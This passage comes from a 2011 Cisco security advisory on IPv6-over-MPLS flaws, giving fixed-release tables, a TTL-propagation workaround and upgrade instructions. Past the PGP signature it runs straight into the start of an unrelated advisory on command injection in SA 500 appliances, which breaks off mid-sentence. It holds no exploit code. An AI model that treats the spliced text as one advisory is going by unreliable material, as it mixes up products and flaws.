12.2(55)EX3 | |------------+-----------------------+-----------------------| | 12.2EY | Not vulnerable | 12.2(58)EY | |------------+-----------------------+-----------------------| | | | Vulnerable; migrate | | 12.2EZ | Not vulnerable | to any release in | | | | 15.0SE | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2FX | Not vulnerable | fixed in Release | | | | 12.2SE | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2FY | Not vulnerable | fixed in Release | | | | 12.2EX | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2FZ | Not vulnerable | fixed in Release | | | | 12.2SE | |------------+-----------------------+-----------------------| | | | Vulnerable; migrate | | 12.2IRA | Not vulnerable | to any release in | | | | 12.2IRG | |------------+-----------------------+-----------------------| | | | Vulnerable; migrate | | 12.2IRB | Not vulnerable | to any release in | | | | 12.2IRG | |------------+-----------------------+-----------------------| | | | Vulnerable; migrate | | 12.2IRC | Not vulnerable | to any release in | | | | 12.2IRG | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2IRD | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2IRE | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; migrate | | 12.2IRF | Not vulnerable | to any release in | | | | 12.2IRG | |------------+-----------------------+-----------------------| | 12.2IRG | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2IXA | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2IXB | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2IXC | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2IXD | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2IXE | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2IXF | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2IXG | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2IXH | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | 12.2JA | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2JK | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2MB | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2MC | Not vulnerable | Vulnerable; first | | | | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2MRA | Not vulnerable | fixed in Release | | | | 12.2SRD | |------------+-----------------------+-----------------------| | 12.2MRB | Not vulnerable | 12.2(33)MRB5 | |------------+-----------------------+-----------------------| | | | Releases prior to | | | | 12.2(30)S are | | | | vulnerable; Releases | | 12.2S | Not vulnerable | 12.2(30)S and later | | | | are not vulnerable. | | | | First fixed in | | | | Release 12.2SB | |------------+-----------------------+-----------------------| | | | 12.2(31)SB20 | | 12.2SB | Not vulnerable | | | | | 12.2(33)SB10 | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SBC | Not vulnerable | fixed in Release | | | | 12.2SB | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SCA | Not vulnerable | fixed in Release | | | | 12.2SCC | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SCB | Not vulnerable | fixed in Release | | | | 12.2SCC | |------------+-----------------------+-----------------------| | 12.2SCC | Not vulnerable | 12.2(33)SCC7 | |------------+-----------------------+-----------------------| | 12.2SCD | Not vulnerable | 12.2(33)SCD6 | |------------+-----------------------+-----------------------| | | | 12.2(33)SCE1 | | 12.2SCE | Not vulnerable | | | | | 12.2(33)SCE2 | |------------+-----------------------+-----------------------| | 12.2SCF | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | 12.2(55)SE3 | | 12.2SE | Not vulnerable | | | | | 12.2(58)SE | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SEA | Not vulnerable | fixed in Release | | | | 12.2SE | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SEB | Not vulnerable | fixed in Release | | | | 12.2SE | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SEC | Not vulnerable | fixed in Release | | | | 12.2SE | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SED | Not vulnerable | fixed in Release | | | | 12.2SE | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SEE | Not vulnerable | fixed in Release | | | | 12.2SE | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SEF | Not vulnerable | fixed in Release | | | | 12.2SE | |------------+-----------------------+-----------------------| | | | Releases prior to | | | | 12.2(25)SEG4 are | | | | vulnerable; Releases | | 12.2SEG | Not vulnerable | 12.2(25)SEG4 and | | | | later are not | | | | vulnerable. First | | | | fixed in Release | | | | 12.2EX | |------------+-----------------------+-----------------------| | | | Releases prior to | | | | 12.2(53)SG4 are | | 12.2SG | Not vulnerable | vulnerable; Releases | | | | 12.2(53)SG4 and later | | | | are not vulnerable. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2SGA | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | 12.2SL | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2SM | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | 12.2SO | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2SQ | Not vulnerable | 12.2(50)SQ3 | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SRA | Not vulnerable | fixed in Release | | | | 12.2SRD | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SRB | Not vulnerable | fixed in Release | | | | 12.2SRD | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SRC | Not vulnerable | fixed in Release | | | | 12.2SRD | |------------+-----------------------+-----------------------| | 12.2SRD | Not vulnerable | 12.2(33)SRD6 | |------------+-----------------------+-----------------------| | 12.2SRE | 12.2(33)SRE4 | 12.2(33)SRE4 | |------------+-----------------------+-----------------------| | 12.2STE | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2SU | Not vulnerable | Vulnerable; first | | | | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | | | Releases prior to | | | | 12.2(29a)SV are | | | | vulnerable; Releases | | 12.2SV | Not vulnerable | 12.2(29a)SV and later | | | | are not vulnerable. | | | | Migrate to any | | | | release in 12.2SVD | |------------+-----------------------+-----------------------| | 12.2SVA | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2SVC | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2SVD | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2SVE | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2SW | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SX | Not vulnerable | fixed in Release | | | | 12.2SXF | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SXA | Not vulnerable | fixed in Release | | | | 12.2SXF | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SXB | Not vulnerable | fixed in Release | | | | 12.2SXF | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SXD | Not vulnerable | fixed in Release | | | | 12.2SXF | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SXE | Not vulnerable | fixed in Release | | | | 12.2SXF | |------------+-----------------------+-----------------------| | 12.2SXF | Not vulnerable | 12.2(18)SXF17b | |------------+-----------------------+-----------------------| | 12.2SXH | Not vulnerable | 12.2(33)SXH8a | |------------+-----------------------+-----------------------| | 12.2SXI | Not vulnerable | 12.2(33)SXI6 | |------------+-----------------------+-----------------------| | 12.2SXJ | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2SY | Not vulnerable | 12.2(50)SY | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2SZ | Not vulnerable | fixed in Release | | | | 12.2SB | |------------+-----------------------+-----------------------| | 12.2T | Not vulnerable | Vulnerable; first | | | | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2TPC | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | 12.2XA | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XB | Not vulnerable | Vulnerable; first | | | | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.2XC | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XD | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XE | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XF | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XG | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XH | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XI | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XJ | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XK | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XL | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XM | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XN | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XNA | See Cisco IOS-XE | See Cisco IOS-XE | | | Software Availability | Software Availability | |------------+-----------------------+-----------------------| | 12.2XNB | See Cisco IOS-XE | See Cisco IOS-XE | | | Software Availability | Software Availability | |------------+-----------------------+-----------------------| | 12.2XNC | See Cisco IOS-XE | See Cisco IOS-XE | | | Software Availability | Software Availability | |------------+-----------------------+-----------------------| | 12.2XND | See Cisco IOS-XE | See Cisco IOS-XE | | | Software Availability | Software Availability | |------------+-----------------------+-----------------------| | 12.2XNE | See Cisco IOS-XE | See Cisco IOS-XE | | | Software Availability | Software Availability | |------------+-----------------------+-----------------------| | 12.2XNF | See Cisco IOS-XE | See Cisco IOS-XE | | | Software Availability | Software Availability | |------------+-----------------------+-----------------------| | | | Releases prior to | | | | 12.2(54)XO are | | 12.2XO | Not vulnerable | vulnerable; Releases | | | | 12.2(54)XO and later | | | | are not vulnerable. | |------------+-----------------------+-----------------------| | 12.2XQ | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XR | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XS | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XT | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XU | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XV | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2XW | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2YA | Not vulnerable | Vulnerable; first | | | | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.2YB | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2YC | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2YD | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2YE | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YF | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YG | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YH | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YJ | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | 12.2YK | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YL | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | 12.2YM | Not vulnerable | Vulnerable; first | | | | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YN | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | 12.2YO | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2YP | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YQ | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YR | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YS | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YT | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YU | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YV | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YW | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YX | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YY | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2YZ | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2ZA | Not vulnerable | fixed in Release | | | | 12.2SXF | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2ZB | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | 12.2ZC | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2ZD | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2ZE | Not vulnerable | Vulnerable; first | | | | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.2ZF | Not vulnerable | Vulnerable; first | | | | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.2ZG | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2ZH | Not vulnerable | Vulnerable; first | | | | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.2ZJ | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2ZL | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | 12.2ZP | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2ZU | Not vulnerable | fixed in Release | | | | 12.2SXH | |------------+-----------------------+-----------------------| | 12.2ZX | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2ZY | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2ZYA | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | Affected | | First Fixed Release | | 12.3-Based | First Fixed Release | for All Advisories in | | Releases | For This Advisory | the September 2011 | | | | Bundled Publication | |------------------------------------------------------------| | There are no affected 12.3-based releases | |------------------------------------------------------------| | Affected | | First Fixed Release | | 12.4-Based | First Fixed Release | for All Advisories in | | Releases | For This Advisory | the September 2011 | | | | Bundled Publication | |------------------------------------------------------------| | There are no affected 12.4-based releases | |------------------------------------------------------------| | Affected | | First Fixed Release | | 15.0-Based | First Fixed Release | for All Advisories in | | Releases | For This Advisory | the September 2011 | | | | Bundled Publication | |------------+-----------------------+-----------------------| | 15.0M | 15.0(1)M7 | 15.0(1)M7 | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 15.0MR | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; contact | Vulnerable; contact | | | your support | your support | | | organization per the | organization per the | | 15.0MRA | instructions in the | instructions in the | | | Obtaining Fixed | Obtaining Fixed | | | Software section of | Software section of | | | this advisory. | this advisory. | |------------+-----------------------+-----------------------| | 15.0S | See Cisco IOS-XE | See Cisco IOS-XE | | | Software Availability | Software Availability | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 15.0SA | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | 15.0SE | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 15.0SG | See Cisco IOS-XE | See Cisco IOS-XE | | | Software Availability | Software Availability | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 15.0XA | fixed in Release | fixed in Release | | | 15.1T | 15.1T | |------------+-----------------------+-----------------------| | 15.0XO | See Cisco IOS-XE | See Cisco IOS-XE | | | Software Availability | Software Availability | |------------+-----------------------+-----------------------| | Affected | | First Fixed Release | | 15.1-Based | First Fixed Release | for All Advisories in | | Releases | For This Advisory | the September 2011 | | | | Bundled Publication | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 15.1EY | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 15.1GC | fixed in Release | fixed in Release | | | 15.1T | 15.1T | |------------+-----------------------+-----------------------| | 15.1M | 15.1(4)M1 | 15.1(4)M2; Available | | | | on 30-SEP-11 | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 15.1MR | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | 15.1S | See Cisco IOS-XE | See Cisco IOS-XE | | | Software Availability | Software Availability | |------------+-----------------------+-----------------------| | | 15.1(1)T4; Available | | | | on 09-DEC-11 | 15.1(2)T4 | | 15.1T | | | | | 15.1(2)T4 | 15.1(1)T4 on | | | | 8-Dec-2011 | | | 15.1(3)T2 | | |------------+-----------------------+-----------------------| | | Vulnerable; first | Vulnerable; first | | 15.1XB | fixed in Release | fixed in Release | | | 15.1T | 15.1T | |------------+-----------------------+-----------------------| | Affected | | First Fixed Release | | 15.2-Based | First Fixed Release | for All Advisories in | | Releases | For This Advisory | the September 2011 | | | | Bundled Publication | |------------------------------------------------------------| | There are no affected 15.2-based releases | +------------------------------------------------------------+ Cisco IOS XE Software +-------------------- Cisco IOS XE Software is affected by the vulnerability disclosed in this document. +------------------------------------------------------------+ | Cisco | First Fixed | First Fixed Release for All | | IOS XE | Release For | Advisories in the September | | Release | This Advisory | 2011 Bundled Publication | |----------+----------------+--------------------------------| | | Vulnerable; | | | 2.1.x | migrate to | Vulnerable; migrate to 3.3.2S | | | 3.3.2S or | or later | | | later | | |----------+----------------+--------------------------------| | | Vulnerable; | | | 2.2.x | migrate to | Vulnerable; migrate to 3.3.2S | | | 3.3.2S or | or later | | | later | | |----------+----------------+--------------------------------| | | Vulnerable; | | | 2.3.x | migrate to | Vulnerable; migrate to 3.3.2S | | | 3.3.2S or | or later | | | later | | |----------+----------------+--------------------------------| | | Vulnerable; | | | 2.4.x | migrate to | Vulnerable; migrate to 3.3.2S | | | 3.3.2S or | or later | | | later | | |----------+----------------+--------------------------------| | | Vulnerable; | | | 2.5.x | migrate to | Vulnerable; migrate to 3.3.2S | | | 3.3.2S or | or later | | | later | | |----------+----------------+--------------------------------| | | Vulnerable; | | | 2.6.x | migrate to | Vulnerable; migrate to 3.3.2S | | | 3.3.2S or | or later | | | later | | |----------+----------------+--------------------------------| | 3.1.xS | 3.1.4S | Vulnerable; migrate to 3.3.2S | | | | or later | |----------+----------------+--------------------------------| | 3.1.xSG | Not vulnerable | Vulnerable; migrate to 3.2.0SG | | | | or later | |----------+----------------+--------------------------------| | | Vulnerable; | | | 3.2.xS | migrate to | Vulnerable; migrate to 3.3.2S | | | 3.3.2S or | or later | | | later | | |----------+----------------+--------------------------------| | 3.2.xSG | Not vulnerable | Not vulnerable | |----------+----------------+--------------------------------| | 3.3.xS | 3.3.2S | 3.3.2S | |----------+----------------+--------------------------------| | 3.4.xS | Not vulnerable | Not vulnerable | +------------------------------------------------------------+ For mapping of Cisco IOS XE to Cisco IOS releases, please refer to the Cisco IOS XE 2 Release Notes, Cisco IOS XE 3S Release Notes, and Cisco IOS XE 3SG Release Notes. Cisco IOS XR Software +-------------------- Cisco IOS XR Software is not affected by the vulnerability disclosed in this document. Cisco IOS XR Software is not affected by any of the vulnerabilities in the September 2011 bundled publication. Workarounds =========== For both vulnerabilities the following workaround applies: Disabling MPLS TTL Propagation +----------------------------- Disabling MPLS TTL propagation will prevent exploitation of these vulnerabilities. MPLS TTL propagation will have to be disabled on all PE routers in the MPLS domain. To disable MPLS TTL propagation, enter the global configuration command "no mpls ip propagate-ttl". If only "no mpls ip propagate-ttl forward" is configured, the vulnerabilities could still be exploited from within the MPLS domain. For more information about the MPLS TTL propagation command, refer to the configuration guide at: http://www.cisco.com/en/US/docs/ios/mpls/command/reference/mp_m1.html#wp1013846 Obtaining Fixed Software ======================== Cisco has released free software updates that address these vulnerabilities. Prior to deploying software, customers should consult their maintenance provider or check the software for feature set compatibility and known issues specific to their environment. Customers may only install and expect support for the feature sets they have purchased. By installing, downloading, accessing or otherwise using such software upgrades, customers agree to be bound by the terms of Cisco's software license terms found at http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html, or as otherwise set forth at Cisco.com Downloads at http://www.cisco.com/public/sw-center/sw-usingswc.shtml. Do not contact psirt@cisco.com or security-alert@cisco.com for software upgrades. Customers with Service Contracts +------------------------------- Customers with contracts should obtain upgraded software through their regular update channels. For most customers, this means that upgrades should be obtained through the Software Center on Cisco's worldwide website at http://www.cisco.com. Customers using Third Party Support Organizations +------------------------------------------------ Customers whose Cisco products are provided or maintained through prior or existing agreements with third-party support organizations, such as Cisco Partners, authorized resellers, or service providers should contact that support organization for guidance and assistance with the appropriate course of action in regards to this advisory. The effectiveness of any workaround or fix is dependent on specific customer situations, such as product mix, network topology, traffic behavior, and organizational mission. Due to the variety of affected products and releases, customers should consult with their service provider or support organization to ensure any applied workaround or fix is the most appropriate for use in the intended network before it is deployed. Customers without Service Contracts +---------------------------------- Customers who purchase direct from Cisco but do not hold a Cisco service contract, and customers who purchase through third-party vendors but are unsuccessful in obtaining fixed software through their point of sale should acquire upgrades by contacting the Cisco Technical Assistance Center (TAC). TAC contacts are as follows. * +1 800 553 2447 (toll free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: tac@cisco.com Customers should have their product serial number available and be prepared to give the URL of this notice as evidence of entitlement to a free upgrade. Free upgrades for non-contract customers must be requested through the TAC. Refer to http://www.cisco.com/en/US/support/ tsd_cisco_worldwide_contacts.html for additional TAC contact information, including localized telephone numbers, and instructions and e-mail addresses for use in various languages. Exploitation and Public Announcements ===================================== The Cisco PSIRT is not aware of any public announcements or malicious use of the vulnerabilities described in this advisory. These vulnerabilities were discovered when handling customer support calls. Status of this Notice: FINAL ============================ THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS DOCUMENT AT ANY TIME. A stand-alone copy or Paraphrase of the text of this document that omits the distribution URL in the following section is an uncontrolled copy, and may lack important information or contain factual errors. Distribution ============ This advisory is posted on Cisco's worldwide website at: http://www.cisco.com/warp/public/707/cisco-sa-20110928-ipv6mpls.shtml In addition to worldwide web posting, a text version of this notice is clear-signed with the Cisco PSIRT PGP key and is posted to the following e-mail and Usenet news recipients. * cust-security-announce@cisco.com * first-bulletins@lists.first.org * bugtraq@securityfocus.com * vulnwatch@vulnwatch.org * cisco@spot.colorado.edu * cisco-nsp@puck.nether.net * full-disclosure@lists.grok.org.uk * comp.dcom.sys.cisco@newsgate.cisco.com Future updates of this advisory, if any, will be placed on Cisco's worldwide website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the above URL for any updates. Revision History ================ +------------------------------------------------------------+ | Revision 1.0 | 2011-September-28 | Initial public release | +------------------------------------------------------------+ Cisco Security Procedures ========================= Complete information on reporting security vulnerabilities in Cisco products, obtaining assistance with security incidents, and registering to receive security information from Cisco, is available on Cisco's worldwide website at http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html. This includes instructions for press inquiries regarding Cisco security notices. All Cisco security advisories are available at http://www.cisco.com/go/psirt. +-------------------------------------------------------------------- Copyright 2010-2011 Cisco Systems, Inc. All rights reserved. +-------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.11 (GNU/Linux) iF4EAREIAAYFAk6Cp2QACgkQQXnnBKKRMNBQSAD9F2jD01t7WK98WW1TcHuB0ORh ttZaRD2ayENEbxklbQgA/j6rRzsG/jk1QW1pJjZme3WKwdvNLy9BzRPTsONBz5Cv =kk0N -----END PGP SIGNATURE-----

The web-based management interface on Cisco SA 500 series security appliances with software before 2.1.19 allows remote authenticated users to execute arbitrary commands via crafted parameters to web forms, aka Bug ID CSCtq65681. The attacker can obtain root privileges. An authenticated attacker can exploit this issue to execute arbitrary commands with root-level privileges on the underlying operating system. This issue is being tracked by Cisco bug ID CSCtq65681. The following devices are affected: Cisco SA520 Cisco SA520W Cisco SA540. An attacker must have valid credentials for an affected device to exploit one vulnerability; exploitation of the other does not require authentication. Both vulnerabilities can be exploited over the network. Cisco has released free software updates that address these vulnerabilities. Workarounds that mitigate these vulnerabilities are available. This advisory is posted at: http://www.cisco.com/warp/public/707/cisco-sa-20110720-sa500.shtml Affected Products ================= Vulnerable Products +------------------ These vulnerabilities affect the following devices running a software version prior to the first fixed release documented in the Software Versions and Fixes section of this advisory: * Cisco SA520 * Cisco SA520W * Cisco SA540 There are multiple methods to determine the version of system software that is running on a device. At the device web login screen, the system software version is displayed under the "Security Appliance Configuration Utility" heading. Administrators can also log in to a device through the web management interface and navigate to Administration > Firmware & Configuration > Network. The Primary Firmware field appears below Status Information. The number directly beside the Primary Firmware field is the system software version. Alternately, after logging in to the device, administrators can click on the About link on top right side of the screen. The system software version will be displayed below the "Security Appliance Configuration Utility" heading. An example of the system firmware version is 2.1.18. Products Confirmed Not Vulnerable +--------------------------------- No other Cisco products are currently known to be affected by these vulnerabilities. This vulnerability is documented in Cisco bug ID CSCtq65681 and has been assigned Common Vulnerabilities and Exposures 